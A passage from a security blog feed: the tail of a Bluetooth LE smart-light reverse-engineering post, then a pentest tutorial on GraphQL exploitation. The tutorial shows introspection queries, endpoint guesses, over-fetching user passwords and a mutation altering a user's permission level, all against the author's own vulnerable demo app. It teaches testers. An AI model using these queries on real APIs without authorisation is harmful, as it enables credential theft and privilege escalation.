d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Playing with the app and changing the color on the application we inspect the packets exchanged:</p><pre><code>Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bf0f00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bf1a00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bf7400f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bf7b00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bfb400f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bfba00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56008dbf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560087bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56007fbf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560078bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560073bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56006bbf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560067bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560060bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56005cbf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560056bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560024bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56001fbf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 561300bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 561800bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 563900bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 563c00bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 567700bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 568100bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf00ad00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf00a400f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf009c00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf009300f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf008900f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf007f00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf007500f0aa</code></pre><p>So, we have mapped our targeted functionality in the mobile application to the targeted functionality on the device (light color changing).</p><h3><strong>Closing remarks</strong></h3><p>This is the tip of the iceberg, and more interesting things can be done.</p><p>We could continue our exploration of the class by understanding each and every method of the class. However, we won&#8217;t delve more into this article. A future article shall delve deeper into the third phase and cover the behavior analysis.</p><p>Would you like to learn more? </p><p>Subscribe to stay ahead of competition!</p>]]></content:encoded></item><item><title><![CDATA[ GraphQL exploitation – The ultimate guide]]></title><description><![CDATA[So you are a tester and you would like to know more about GraphQL Testing.]]></description><link>https://blog.cybervelia.com/p/graphql-exploitation-all-you-need-to-know</link><guid isPermaLink="false">https://blog.cybervelia.com/p/graphql-exploitation-all-you-need-to-know</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Tue, 16 May 2023 19:58:59 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/d46ee58c-7905-4798-8d2e-07cdcabf497d_1200x515.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>So you are a tester and you would like to know more about GraphQL Testing. No more sparse information, we cover enough to get you started. This post contains my knowledge acquired during my penetration tests involving GraphQL and during the development of GraphQL apps!</p><p>Before reading further, please read the gentle introduction below to make sure you fully understand how GraphQL works!</p><h3><strong>The GraphQL</strong></h3><p><strong>The Value</strong> of GraphQL</p><p>The goal of GraphQL is pretty much the same as of REST-API. In a REST API we don&#8217;t care about rendering, we don&#8217;t care about viewing any images and we don&#8217;t expect any HTML back. We expect to send data and to receive some structured data. GraphQL is no different, except the query we form is way more flexible than of REST API.</p><p>Basically, GraphQL breaks the dependencies between the front-end and back-end. Imagine how hard it&#8217;s to keep-up with the plethora of options an API endpoint may have, for example, which parameters exists for each endpoint, and what&#8217;s their type. Also, the documentation must be up-to-date. In GraphQL, the documentation is the schema it-self. With GraphQL you may query a particular table, and ask to return only a subset of values.</p><p>Finally, in GraphQL you have just one endpoint, where in a REST API model, you may have many. Instead of having multiple endpoints, we specially craft our POST request to include our query.</p><p><strong>The Structure</strong> of GraphQL</p><p>To better understand how it works, let&#8217;s get started with a simple GraphQL query.</p><p>The GraphQL engine is listening on a single endpoint &#8211; usually the endpoint is the following: &#8220;/graphql&#8221;</p><p>What directs the flow of the execution, it&#8217;s the query&#8217;s body itself. Here is an example:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cN3B!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cN3B!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png 424w, https://substackcdn.com/image/fetch/$s_!cN3B!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png 848w, https://substackcdn.com/image/fetch/$s_!cN3B!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png 1272w, https://substackcdn.com/image/fetch/$s_!cN3B!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cN3B!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png" width="497" height="203" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:203,&quot;width&quot;:497,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:27938,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!cN3B!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png 424w, https://substackcdn.com/image/fetch/$s_!cN3B!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png 848w, https://substackcdn.com/image/fetch/$s_!cN3B!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png 1272w, https://substackcdn.com/image/fetch/$s_!cN3B!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9bb4c1c5-c9aa-4f00-829a-91152f69f602_497x203.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The &#8220;query&#8221; keyword is the type of the operation (the mutation is another type of operation). The &#8220;operation endpoint&#8221; is what is taken-off from the REST API and transferred into the GraphQL: it&#8217;s like saying /graphql/user. Finally, the &#8220;name&#8221; and &#8220;age&#8221; are the fields we wish to receive from this operation. So, name and age are the fields we wish the API to <strong>return </strong>back to us &#8211; a.k.a the projection.</p><p>Because the GraphQL uses a query body (as the structure explained above), the HTTP POST method is used to transfer the data, for each and every request.</p><p>Finally, the graphql query is included in a JSON format and more particularly in the field &#8220;query&#8221;.</p><p>So here is the full raw request we would send:</p><pre><code>POST /graphql HTTP/1.1
... SNIP ...

{"query":"{ query { user { name age } } }"}</code></pre><p><strong>The Operation Types</strong></p><p>There are three operation types in GraphQL</p><ol><li><p>Query Operations</p></li><li><p>Mutation Operations</p></li><li><p>Subscriptions</p></li></ol><p>Comparing such operations with the equivalent REST API ones:</p><p><em>Query</em> <em>Operations</em>: <strong>GET</strong></p><p><em>Mutation</em> <em>Operations</em>: <strong>POST, PUT, PATCH, DELETE</strong></p><p><em>Subscription</em> <em>Operations</em>: Real-time connection via websockets</p><p><strong>The GraphQL&#8217;s Endpoint</strong></p><p>As I mentioned above, the common convention for the GraphQL&#8217;s endpoint name is often &#8220;/graphql&#8221; &#8211; it&#8217;s the engine&#8217;s default. However, this is not true for every implementation. The endpoint can be defined by the developer. Usually, the developer defines the endpoint as &#8220;graphql&#8221; and is found at the root directory. Here are some variations:</p><pre><code>/graphql/graphiql
/graphql/graphiql.php
/graphql/console
/graphql.php
/api/gql</code></pre><p><strong>Authentication</strong></p><p>Also, you have to note that the GraphQL implementation doesn&#8217;t require or enforce, any kind of authentication. This is up to the developer. Often the developers are in a hurry because of time limitations thus they postpone security-stuff.</p><p>Furthermore, when developers are using the MVC model, they make use of controllers, models and views. However, when the application is totally based on GraphQL, the routes are transferred through the GraphQL&#8217;s route. The authentication must be enforced in all endpoints. While the rest of the application might enforce authentication, the GraphQL&#8217;s endpoint might be left open to all unauthenticated users, so make sure you test that endpoint too.</p><h2><strong>GraphQL Enumeration</strong></h2><p>The GraphQL exposes its schema and its structures to a query commonly called GraphQL Introspection.</p><p>The introspection query can be used by developers, or even third-party partners or developers, to know what the API exposes. Think of it as a swagger file or a postman file.</p><p>Often the developers forget configuring and changing the default settings of GraphQL and the introspection is exposed to the public. Exposing such interface permits anyone to understand your API, the API types or fields, and this often leads to data leaks. However, if the implementation is secure, exposing the schema is not a security problem. That said, exposing the documentation of the API may not be something many companies want to do.</p><p>To properly enumerate the GraphQL, at first, query the supported types:</p><pre><code>query {\n  __schema {\n    types {\n      name\n      fields {\n        name\n      }\n    }\n  }\n}</code></pre><p>Let&#8217;s break down this simple introspection query.</p><p><strong>Simple Introspection Query</strong></p><p>Query:</p><pre><code>query {
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}</code></pre><p>As part of our research we have developed a vulnerable application based on GraphQL to better explaining the vulnerabilities. Most of the examples are based on the particular app.</p><p>Running the introspection query gives the following output (we omit showing the full raw POST request and response):</p><pre><code>{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Article",
          "fields": [
            {
              "name": "id"
            },
            {
              "name": "title"
            },
            {
              "name": "views"
            }
          ]
        },
        {
          "name": "Int",
          "fields": null
        },
        {
          "name": "String",
          "fields": null
        },
        {
          "name": "User",
          "fields": [
            {
              "name": "id"
            },
            {
              "name": "username"
            },
            {
              "name": "email"
            },
            {
              "name": "password"
            },
            {
              "name": "level"
            }
          ]
        },
        {
          "name": "InputUserData",
          "fields": null
        },
        {
          "name": "RootQueries",
          "fields": [
            {
              "name": "getArticles"
            },
            {
              "name": "getUsers"
            }
          ]
        },
        {
          "name": "RootMutations",
          "fields": [
            {
              "name": "updateUsers"
            }
          ]
        },
        {
          "name": "Boolean",
          "fields": null
        },
        {
          "name": "__Schema",
          "fields": [
            {
              "name": "description"
            },
            {
              "name": "types"
            },
            {
              "name": "queryType"
            },
            {
              "name": "mutationType"
            },
            {
              "name": "subscriptionType"
            },
            {
              "name": "directives"
            }
          ]
        },
        {
          "name": "__Type",
          "fields": [
            {
              "name": "kind"
            },
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "specifiedByURL"
            },
            {
              "name": "fields"
            },
            {
              "name": "interfaces"
            },
            {
              "name": "possibleTypes"
            },
            {
              "name": "enumValues"
            },
            {
              "name": "inputFields"
            },
            {
              "name": "ofType"
            }
          ]
        },
        {
          "name": "__TypeKind",
          "fields": null
        },
        {
          "name": "__Field",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "args"
            },
            {
              "name": "type"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "deprecationReason"
            }
          ]
        },
        {
          "name": "__InputValue",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "type"
            },
            {
              "name": "defaultValue"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "deprecationReason"
            }
          ]
        },
        {
          "name": "__EnumValue",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "deprecationReason"
            }
          ]
        },
        {
          "name": "__Directive",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "isRepeatable"
            },
            {
              "name": "locations"
            },
            {
              "name": "args"
            }
          ]
        },
        {
          "name": "__DirectiveLocation",
          "fields": null
        }
      ]
    }
  }
}</code></pre><ul><li><p>The result is in JSON format</p></li><li><p>The schema is included which contains the various types of the GraphQL interface</p></li><li><p>For each query or mutation interface, there is a handling function behind it</p></li><li><p>All inputs, data types and queries are treated as types.</p></li><li><p>In the enumeration phase, we would like to learn more about the main queries rather than the various types. The main query operations are the ones often found inside the RootQueries type (named defined by the developer). The main mutation operations are the ones inside the RootMutations type.</p></li><li><p>There are two queries which seems to return users and articles - nothing more can be assumed by the above output</p></li></ul><h3><strong>Query for arguments</strong></h3><p>Let's find out what arguments each query receives:</p><p>Query:</p><pre><code>query {
  __schema {
    queryType { 
    fields  { 
    name 
    args {  
      name
      type {name} 
    }
  } 
 }
 }
}</code></pre><p>Output:</p><pre><code>{
  "data": {
    "__schema": {
      "queryType": {
        "fields": [
          {
            "name": "getArticles",
            "args": []
          },
          {
            "name": "getUsers",
            "args": []
          }
        ]
      }
    }
  }
}</code></pre><p>So no arguments for the "query" type of queries.</p><p>Let's find out about mutation queries:</p><p>Query:</p><pre><code>query {
  __schema {
    mutationType { 
  fields  { 
    name 
    args {  
      name
      type {name} 
    }
  } 
    }
  }
}</code></pre><p>Output:</p><pre><code>{
  "data": {
    "__schema": {
      "mutationType": {
        "fields": [
          {
            "name": "updateUsers",
            "args": [
              {
                "name": "userInput",
                "type": {
                  "name": null
                }
              }
            ]
          }
        ]
      }
    }
  }
}</code></pre><p>Aha! The function updateUsers takes an argument named "userInput".</p><h3><strong>Rogue Introspection Query</strong></h3><p>Let's make a final introspection query to get everything we can related to the schema. The methodology I follow is to first execute first simple introspection queries to understand the main functions, and then I move-on to the more thorough ones. This is because the real applications often respond with a lot of data and this can be confusing.</p><p>Query:</p><pre><code>query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {
        name
        description
        args {
          ...InputValue
        }
        locations
      }
    }
  }

  fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
      name
      description
      args {
        ...InputValue
      }
      type {
        ...TypeRef
      }
      isDeprecated
      deprecationReason
    }
    inputFields {
      ...InputValue
    }
    interfaces {
      ...TypeRef
    }
    enumValues(includeDeprecated: true) {
      name
      description
      isDeprecated
      deprecationReason
    }
    possibleTypes {
      ...TypeRef
    } 
  }   
      
  fragment InputValue on __InputValue {
    name
    description
    type { ...TypeRef }
    defaultValue
  }     
        
  fragment TypeRef on __Type {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
        }
      }
    } 
  } </code></pre><p>Output:</p><pre><code>... SNIP ...
       {
          "kind": "OBJECT",
          "name": "RootQueries",
          "description": null,
          "fields": [
            {
              "name": "getArticles",
              "description": null,
              "args": [],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "Article",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "getUsers",
              "description": null,
              "args": [],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "User",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "RootMutations",
          "description": null,
          "fields": [
            {
              "name": "updateUsers",
              "description": null,
              "args": [
                {
                  "name": "userInput",
                  "description": null,
                  "type": {
                    "kind": "LIST",
                    "name": null,
                    "ofType": {
                      "kind": "INPUT_OBJECT",
                      "name": "InputUserData",
                      "ofType": null
                    }
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "User",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
... SNIP ...</code></pre><p>To summarize the above snippet:</p><ul><li><p>The <strong>Query</strong> Function <em>getArticles</em>, takes no arguments but returns a LIST of "Article" data</p></li><li><p>The <strong>Query</strong> Function <em>getUsers</em>, takes no arguments but returns a LIST of "User" data</p></li><li><p>The <strong>Mutation</strong> Function <em>updateUsers</em> takes an argument named "userInput" which takes LIST of "InputUserData" data. The function returns "User" data.</p></li></ul><p>Now, in your regular Pen Tests or bug bounties, the first thing to do is to map the application and inspect the various queries sent by the application's front-end. This will also give you an overview of the API and its various methods. Combining the introspection and the intercepted queries gives you an idea of what functions exists and how such functions are used by the application. Warning: The front-end may not call all the functions of the GraphQL ;)</p><p>In this phase, you have to note down which functionality is not triggered by the application's UI. Such queries may be used by the back-end UI and not used by the front-end. Also, such functions might be unattended and deemed deprecated but haven't been removed by the developers. Therefore, you may want to check them out - we'll have a look later on how to construct our own queries.</p><h2><strong>Analyzing the GraphQL Functions</strong></h2><p>Assume the intercepted queries are the following:</p><p>getUsers Function:</p><pre><code>query GetAllUsers {
  getUsers {username}
}</code></pre><p>Invoking the query:</p><pre><code>{
  "data": {
    "getUsers": [
      {
        "username": "theo"
      },
      {
        "username": "john"
      }
    ]
  }
}</code></pre><p>The string "GetAllUsers" is the <strong>name</strong> of operation. This is just a <strong>label</strong> and you may simple ignore it. It is used only for organizational purposes and cannot alter the results in any way nor it's taken into account by the back-end API.</p><p>The next thing to do, is to find out what kind of type this function returns. We have already seen that in introspection. The returned type is "User".</p><p>Recall the first introspection query - the simple one:</p><pre><code>... SNIP ...
        {
          "name": "User",
          "fields": [
            {
              "name": "id"
            },
            {
              "name": "username"
            },
            {
              "name": "email"
            },
            {
              "name": "password"
            },
            {
              "name": "level"
            }
          ]
        },
... SNIP ...</code></pre><p>The most sensible thing to do, is to ask for more data. GraphQL allows for flexible queries, it's what it does.</p><p>Query:</p><pre><code>query GetAllUsers {
  getUsers {username, id}
}</code></pre><p>Output:</p><pre><code>{
  "data": {
    "getUsers": [
      {
        "username": "theo",
        "id": 1
      },
      {
        "username": "john",
        "id": 2
      }
    ]
  }
}</code></pre><p>We were able to retrieve more data than the front-end was programmed to. Let's ask for the user's password by extending the query:</p><p>Query:</p><pre><code>query GetAllUsers {
  getUsers {username, id, password}
}</code></pre><p>Output:</p><pre><code>{
  "data": {
    "getUsers": [
      {
        "username": "theo",
        "id": 1,
        "password": "1234"
      },
      {
        "username": "john",
        "id": 2,
        "password": "5678"
      }
    ]
  }
}</code></pre><p>The output shows that It is possible to retrieve the requested fields.</p><p>Now, let's craft our own queries by inspecting the types and arguments of the queries of the current app.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.cybervelia.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">I learn new technologies and share what I discover with my subscribers. Subscribe now for insights like this one!</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p><h2>Manually Crafting a Query</h2><p>So, what we've got so far:</p><ul><li><p>The <strong>Query</strong> Function <em>getArticles</em>, takes no arguments but returns a LIST of "Article" data</p></li><li><p>The <strong>Query</strong> Function <em>getUsers</em>, takes no arguments but returns a LIST <strong>of limited "User" data</strong></p></li><li><p>The <strong>Mutation</strong> Function <em>updateUsers</em> takes an argument named "userInput" which takes LIST of "InputUserData" data. The function returns "User" data.</p></li></ul><p>We wish to retrieve all fields of the type "Article", as this is the type returned by the function "getArticles".</p><ul><li><p>To craft a query, first we wish to select the operation type, that will be a "<strong>query</strong>" - as we wish to retrieve data without putting any data in.</p></li><li><p>The HTTP method is again, a POST method.</p></li><li><p>The query function getArticles returns a LIST of "Article" data type which has the following fields (taken from the simple introspection query shown before):</p></li></ul><pre><code>... SNIP ...
        {
          "name": "Article",
          "fields": [
            {
              "name": "id"
            },
            {
              "name": "title"
            },
            {
              "name": "views"
            }
          ]
        },
... SNIP ...</code></pre><p>Now that we have the operation type, function's name, arguments and their type (no arguments in this case) and the return type, we can form the query as the following:</p><pre><code>queryType operationName { function(arguments) {return-fields} }</code></pre><p>Here is the actual query:</p><pre><code>query GetArticles {
  getArticles {title, views, id}
}</code></pre><p>Output:</p><pre><code>{
  "data": {
    "getArticles": [
      {
        "title": "Article1",
        "views": 1337,
        "id": 10
      },
      {
        "title": "Article2",
        "views": 1338,
        "id": 11
      }
    ]
  }
}</code></pre><p>As you can see we can receive all the fields of the "Articles" data type.</p><h2>Manually Crafting a Mutation Query</h2><p>Recall the introspection results:</p><pre><code>...
"name": "updateUsers",
"description": null,
"args": [
  {
    "name": "userInput",
    "description": null,
    "type": {
      "kind": "LIST",
      "name": null,
      "ofType": {
        "kind": "INPUT_OBJECT",
        "name": "InputUserData",
        "ofType": null
      }
    },
    "defaultValue": null
  }
],
"type": {
  "kind": "LIST",
  "name": null,
  "ofType": {
    "kind": "NON_NULL",
    "name": null,
    "ofType": {
      "kind": "OBJECT",
      "name": "User",
      "ofType": null
    }
  }
},
...</code></pre><p>The mutation query named updateUsers, receives a list of type InputUserData and returns a list of objects of type User.</p><p>The InputUserData is also returned from the introspection query:</p><pre><code>...
{
  "kind": "INPUT_OBJECT",
  "name": "InputUserData",
  "description": null,
  "fields": null,
  "inputFields": [
    {
      "name": "id",
      "description": null,
      "type": {
        "kind": "NON_NULL",
        "name": null,
        "ofType": {
          "kind": "SCALAR",
          "name": "Int",
          "ofType": null
        }
      },
      "defaultValue": null
    },
    {
      "name": "level",
      "description": null,
      "type": {
        "kind": "NON_NULL",
        "name": null,
        "ofType": {
          "kind": "SCALAR",
          "name": "Int",
          "ofType": null
        }
      },
      "defaultValue": null
    }
  ],
  "interfaces": null,
  "enumValues": null,
  "possibleTypes": null
},
...</code></pre><p>Therefore, we have to provide a field named id of type int, and a field named level of type int. Let's do that:</p><pre><code>mutation UpdateUsers {
  updateUsers(userInput: {id:1,level:3}) {username}
}</code></pre><p>Response:</p><pre><code>{
  "data": {
    "updateUsers": [
      {
        "username": "theo"
      }
    ]
  }
}</code></pre><p>As we shall see later there are more ways of feeding data the GraphQL.</p><h2>Mutation or... a <strong>Trap</strong>?</h2><p>Let's say that you have intercepted the following GraphQL Mutation query:</p><pre><code>mutation UpdateUsers {
  updateUsers(userInput: {id:1,level:3}) {username}
}</code></pre><p>Since you know the id is an integer, the first thing to do, is to try for IDOR vulnerabilities.</p><p>The query seems to allow us to alter the user's level (permission level). Considering the app/front-end crafted the request, that means you probably have the rights to do so.</p><p>The most important part, is the query structure itself. In a query-type where you used to retrieve only data (such as the getArticles and getUsers), you may also pass-over input-data, but the data are usually not used to alter any back-end data. On the other hand, mutation queries are the ones that usually make a change and thus alters the state of the application - either adds a record, deletes or updates the data.</p><p>Therefore, the developers often think that the input data are the most important part of the request, as it contains values defined by the user. But because the queries they receive during the development cycles are predefined, because of the front-end implementation, they often forget they should also check for access controls in the fields of the output of the query.</p><p>Let's dissect the mutation query:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2b-5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2b-5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png 424w, https://substackcdn.com/image/fetch/$s_!2b-5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png 848w, https://substackcdn.com/image/fetch/$s_!2b-5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png 1272w, https://substackcdn.com/image/fetch/$s_!2b-5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2b-5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png" width="419" height="247" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:247,&quot;width&quot;:419,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:27639,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2b-5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcc752d3-78a5-402e-91e5-5a54f003ede5_419x247.png 424w, 